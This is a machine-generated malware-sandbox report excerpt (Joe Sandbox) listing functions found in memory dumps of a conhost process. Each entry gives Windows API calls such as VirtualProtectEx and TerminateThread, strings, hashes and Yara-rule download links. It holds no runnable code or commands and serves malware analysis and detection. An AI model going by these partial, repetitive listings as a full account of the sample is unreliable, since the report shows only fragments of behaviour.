Opcode Fuzzy Hash: 7fc5e4c2f951738899047b95e00f4424a4026db9f78df7ad039e65ab4a94a20b
Instruction Fuzzy Hash: 1711513034525042FA78972F97DDB6A2A525B44FF0F1817249F3607ED7DA7894C25E00

Function 000002408A291934 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000002408A29195A
K32GetModuleFileNameExW.KERNEL32 ref: 000002408A291978
PathFindFileNameW.SHLWAPI ref: 000002408A291987
lstrlenW.KERNEL32 ref: 000002408A291993
StrCpyW.SHLWAPI ref: 000002408A2919A6
CloseHandle.KERNEL32 ref: 000002408A2919B4

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: b82d1bbac2a4a5b9d6dbe5f2df15dcec51c980f52b633491719cdad5f7bdf37e
Instruction ID: cba58f7aae1fef502c7737a0110eac5837940fdaf72cd210e9443bb2f7c51ae0
Opcode Fuzzy Hash: b82d1bbac2a4a5b9d6dbe5f2df15dcec51c980f52b633491719cdad5f7bdf37e
Instruction Fuzzy Hash: 32015735704A9082EA60DB1BAA9875A66A1F788FC0F484134DF9A43B54DF38C9CA8B40

Function 000002408A293B0C Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000002408A2936B0), ref: 000002408A293B28
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002408A2936B0), ref: 000002408A293B36
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002408A2936B0), ref: 000002408A293B58
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002408A2936B0), ref: 000002408A293B76
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002408A2936B0), ref: 000002408A293B97
TerminateThread.KERNEL32(?,?,?,?,?,000002408A2936B0), ref: 000002408A293BA6

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 8662155c9f7376030badf6deb1f9cc8df7edcdadcbb5a73039a50034e0df76dd
Instruction ID: 6ed351fc5884092d464b266d494cf421413f1d755a0bdebb249af24049bf050c
Opcode Fuzzy Hash: 8662155c9f7376030badf6deb1f9cc8df7edcdadcbb5a73039a50034e0df76dd
Instruction Fuzzy Hash: 0F012535711B5482EB349B2BEA9CB1A67A1BB58B55F080428CB8D06F64EF3DD0D88B00

Function 0000024089948835 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000024089948843
_IsNonwritableInCurrentImage.LIBCMT ref: 00000240899488D8

Strings

displacement map', xrefs: 00000240899488D1
csm, xrefs: 00000240899488BE
f, xrefs: 0000024089948856

Memory Dump Source

Source File: 0000001F.00000003.1816754246.0000024089940000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000024089940000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_3_24089940000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: displacement map'$csm$f
API String ID: 3242871069-3478954885
Opcode ID: 911b6d09506e82739bdc666af230172d8f47b592f6a0b26bc0314746b579121d
Instruction ID: cc15dfa73f35049a76f4bd2658b5b809932f1e334a1ab5e39ac77a48dd49227e
Opcode Fuzzy Hash: 911b6d09506e82739bdc666af230172d8f47b592f6a0b26bc0314746b579121d
Instruction Fuzzy Hash: D751B632B11A0087EF56EF1AD58CB693795F344B99F528124DBD647789DB34C8C2C709

Function 000002408A299435 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002408A299443
_IsNonwritableInCurrentImage.LIBCMT ref: 000002408A2994D8
RtlUnwindEx.NTDLL ref: 000002408A299527

Strings

f, xrefs: 000002408A299456
csm, xrefs: 000002408A2994BE

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 911b6d09506e82739bdc666af230172d8f47b592f6a0b26bc0314746b579121d
Instruction ID: 987445dec8f4b9f7afe52ccb5004dd6d990f796392ba8b7ccc15756544382786
Opcode Fuzzy Hash: 911b6d09506e82739bdc666af230172d8f47b592f6a0b26bc0314746b579121d
Instruction Fuzzy Hash: C1519232711A108BEB74CB1AE688F5B3B95F344FA8F598124DB0643B98EB35D9C1CB04

Function 0000024089948818 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000024089948843
_IsNonwritableInCurrentImage.LIBCMT ref: 00000240899488D8

Strings

displacement map', xrefs: 00000240899488D1
csm, xrefs: 00000240899488BE
f, xrefs: 0000024089948856

Memory Dump Source

Source File: 0000001F.00000003.1816754246.0000024089940000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000024089940000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_3_24089940000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: displacement map'$csm$f
API String ID: 3242871069-3478954885
Opcode ID: 83240c1be95a85a2168ddca1a7ce1f874f475d626e55e81d58b9bdf2105a26fb
Instruction ID: 1a0bbf98a2c23ce77fe5efbb94284787a162dec398c8c3bd507efe69019999bc
Opcode Fuzzy Hash: 83240c1be95a85a2168ddca1a7ce1f874f475d626e55e81d58b9bdf2105a26fb
Instruction Fuzzy Hash: 57319131A01A4097EB16FF1AE98C75937A4F344BD9F568014EFD647789DB38C982C709

Function 000002408A299418 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002408A299443
_IsNonwritableInCurrentImage.LIBCMT ref: 000002408A2994D8
RtlUnwindEx.NTDLL ref: 000002408A299527

Strings

f, xrefs: 000002408A299456
csm, xrefs: 000002408A2994BE

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: cd5e78f7a824d61b6a4bd1de3076d2d48bd843f6231fa7e8b66aa639a396b76c
Instruction ID: b6a81c66fae93e9dbf9bef855583f8f803501d0b96ed760ae7a162ad1717c719
Opcode Fuzzy Hash: cd5e78f7a824d61b6a4bd1de3076d2d48bd843f6231fa7e8b66aa639a396b76c
Instruction Fuzzy Hash: 07315031301B50D6E735DF1AEA88B1B3B94F744FA8F198114AF5647B98DB38D981CB44

Function 000002408A2919D8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000002408A2919F8
StrCmpNIW.SHLWAPI ref: 000002408A291A12
lstrlenW.KERNEL32 ref: 000002408A291A21
StrCpyW.SHLWAPI ref: 000002408A291A36

Strings

\\?\, xrefs: 000002408A291A06

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: d5ec68f96dae6b7ecf4cdbbeb250ae8ba7b628e03b919f4631671672637286c6
Instruction ID: 22f9254db42dd852a054fb0c3de144e15028e8f6481dd59549d77506837a9453
Opcode Fuzzy Hash: d5ec68f96dae6b7ecf4cdbbeb250ae8ba7b628e03b919f4631671672637286c6
Instruction Fuzzy Hash: 2DF0447230469192EB708B2AF6D879A6761F754F98F844020DB4D46E94DF7CDAC9CF00

Function 000002408A29C0C8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000002408A29C0ED
GetProcAddress.KERNEL32 ref: 000002408A29C103
FreeLibrary.KERNEL32 ref: 000002408A29C12A

Strings

mscoree.dll, xrefs: 000002408A29C0E4
CorExitProcess, xrefs: 000002408A29C0FC

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 98eb24e4d57f1585c54f2d3d16aa4b08ded3b1fa128793edf9192e1fe004f7b7
Instruction ID: ab1bc64c037289a28b853d4619410e747e896a56f399b9c3fb967ea78709ae70
Opcode Fuzzy Hash: 98eb24e4d57f1585c54f2d3d16aa4b08ded3b1fa128793edf9192e1fe004f7b7
Instruction Fuzzy Hash: 1CF0627131161085EF348B2AE9C876A5320BB44BA5F580215C76A459E4CF3DC4C9CF04

Function 000002408A29330C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,00000000,000002408A292576), ref: 000002408A29332E
StrCpyW.SHLWAPI ref: 000002408A29333E
StrCatW.SHLWAPI ref: 000002408A29334A
PathCombineW.SHLWAPI(?,?,00000000,000002408A292576), ref: 000002408A293358

Strings

\\.\pipe\, xrefs: 000002408A293324

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: e19f02f46d5f5175cba9bea6f0663c254bbceec99479fcaac31b51916b51a9ba
Instruction ID: 71705978f6cb1ce3fa542591803e325a567a18d238eced58efbf884a7de0de41
Opcode Fuzzy Hash: e19f02f46d5f5175cba9bea6f0663c254bbceec99479fcaac31b51916b51a9ba
Instruction Fuzzy Hash: 81F08271304BD081EA208B2BBA8815A6665BB48FC0F085030EF6A07F18DF3CD4D68B00

Function 000002408A295500 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002408A295586

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 758a31af71cbbd98710326f5d5dd73fd8f3faa0c353224d70a8a3d8e98f497e1
Instruction ID: c90d07372c111572b9ee9fa2afbdf04e9bbbf08b0e3b9012b3eb85df31a1fa27
Opcode Fuzzy Hash: 758a31af71cbbd98710326f5d5dd73fd8f3faa0c353224d70a8a3d8e98f497e1
Instruction Fuzzy Hash: D402B732319B8486EB60CB5AE59475BBBA1F384B94F145115EB8E87BA9DF7CC484CF00

Function 000002408A295B40 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002408A295B56

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a4c708464c669e8ac6b2107c0414dd5148c6b67da4caf1212569ceb4eb7b4d9f
Instruction ID: cdac216a2e9814a7210d9ed28c64e02f1d062e686a466d2a1ad5662db5494def
Opcode Fuzzy Hash: a4c708464c669e8ac6b2107c0414dd5148c6b67da4caf1212569ceb4eb7b4d9f
Instruction Fuzzy Hash: 9D61B636319A44C6E674CB1EE69871ABBA0F388B94F541115EB8E47FA8DB7CC585CF00

Function 0000024089953934 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002408995395C
_set_statfp.LIBCMT ref: 0000024089953977
_set_statfp.LIBCMT ref: 0000024089953993
_set_statfp.LIBCMT ref: 00000240899539CF

Memory Dump Source

Source File: 0000001F.00000003.1816754246.0000024089940000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000024089940000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_3_24089940000_conhost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: e597fbee8606c28061fd988be53fa48057de39d88120f6339bf0b4f450caaca6
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 7B1191A2E18A00C2FB56357DE6FF36B13506B94375F1B4634ABEE062DE8B3888C4C100

Function 000002408A2A4534 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002408A2A455C
_set_statfp.LIBCMT ref: 000002408A2A4577
_set_statfp.LIBCMT ref: 000002408A2A4593
_set_statfp.LIBCMT ref: 000002408A2A45CF

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: aec274d7b9c52a4f7c2e00eba4a071199fa9667992659bb1ae8f251f1e0d0b59
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: C2117372B10E3141FB74526EE7DD36912826B78378F484635AB6A0AED6DA34E8C54E00

Function 000002408A29AE4C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000002408A29AE98
_CallSETranslator.LIBVCRUNTIME ref: 000002408A29AEE7

Strings

MOC, xrefs: 000002408A29AEAC
RCC, xrefs: 000002408A29AEB5

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 05fb19cb5d958d360e5f46d501e280b4416caeae58329d8bd7a5de4c8cbcf2a2
Instruction ID: 0b199adfdc80bc82c8701da214b21600f841cf8b3c9ce20d85270181f44cc703
Opcode Fuzzy Hash: 05fb19cb5d958d360e5f46d501e280b4416caeae58329d8bd7a5de4c8cbcf2a2
Instruction Fuzzy Hash: AD618C73701B848AE720DF6AD584B9E7BA1F348B88F084215EF5917F99DB39C585CB00

Function 000002408994A5A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002408994A5D0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002408994A6B8

Strings

csm, xrefs: 000002408994A70A
csm, xrefs: 000002408994A5F2

Memory Dump Source

Source File: 0000001F.00000003.1816754246.0000024089940000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000024089940000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_3_24089940000_conhost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction ID: a9fa598c8034417a97bc80aeb75d1609e25bb7154e935cb43b4378e436ebbd15
Opcode Fuzzy Hash: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction Fuzzy Hash: 51519F3290138086EB75AF2A96CC35977A4F354BA8F144116DBD94BBD6CB38D4E2CB0C

Function 000002408A29B1A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002408A29B1D0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002408A29B2B8

Strings

csm, xrefs: 000002408A29B30A
csm, xrefs: 000002408A29B1F2

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction ID: da8709e21cff098c159e4ef2c0cfe91af20e4aa60a643dab7bc207e55f950e2d
Opcode Fuzzy Hash: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction Fuzzy Hash: A4517B32700380C6EB74AB1B9688B6E7AA4F755F94F18421ADB8987F95CB38D4D1CF04

Function 000002408A293554 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 000002408A293576
StrStrW.SHLWAPI ref: 000002408A293594
StrToIntW.SHLWAPI ref: 000002408A2935BB

Part of subcall function 000002408A291934: OpenProcess.KERNEL32 ref: 000002408A29195A
Part of subcall function 000002408A291934: K32GetModuleFileNameExW.KERNEL32 ref: 000002408A291978
Part of subcall function 000002408A291934: PathFindFileNameW.SHLWAPI ref: 000002408A291987
Part of subcall function 000002408A291934: lstrlenW.KERNEL32 ref: 000002408A291993
Part of subcall function 000002408A291934: StrCpyW.SHLWAPI ref: 000002408A2919A6
Part of subcall function 000002408A291934: CloseHandle.KERNEL32 ref: 000002408A2919B4

Part of subcall function 000002408A293C74: StrCmpNIW.SHLWAPI(?,?,?,000002408A29254B), ref: 000002408A293C8C

Strings

pid_, xrefs: 000002408A29356C

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: 003ff62f248625063318c3f9e3d6e241277a7bda76ff5f02da447dbddd7f43fe
Instruction ID: 2e1164a73125c8df79ad022adbc378194918dc516afef4ca300b8d1ff19578e6
Opcode Fuzzy Hash: 003ff62f248625063318c3f9e3d6e241277a7bda76ff5f02da447dbddd7f43fe
Instruction Fuzzy Hash: 50116031314A5191FB70973BEA8979B5AA0F748B80F9841259B4983F94EF38C995CB44

Function 000002408A2A2488 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000002408A2A2507
WriteFile.KERNEL32 ref: 000002408A2A27CF
WriteFile.KERNEL32 ref: 000002408A2A2815
GetLastError.KERNEL32 ref: 000002408A2A28CB

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 795992a6124246315900671f12580f797be80ebc569419187a9af15682e1d93c
Instruction ID: f63fa51d7ac86e5a8a806057eb7daf3c7bcbb633d08fc35e2272ba8b6f0d7ecf
Opcode Fuzzy Hash: 795992a6124246315900671f12580f797be80ebc569419187a9af15682e1d93c
Instruction Fuzzy Hash: 4ED12232B04B9089E721CFAAD68479C3BB1F754B98F044216DF5D97FA9DA34D486CB40

Function 000002408A2914A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002408A2914C5
HeapFree.KERNEL32 ref: 000002408A2914D4
GetProcessHeap.KERNEL32 ref: 000002408A2914E1
HeapFree.KERNEL32 ref: 000002408A2914F0
GetProcessHeap.KERNEL32 ref: 000002408A291500

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
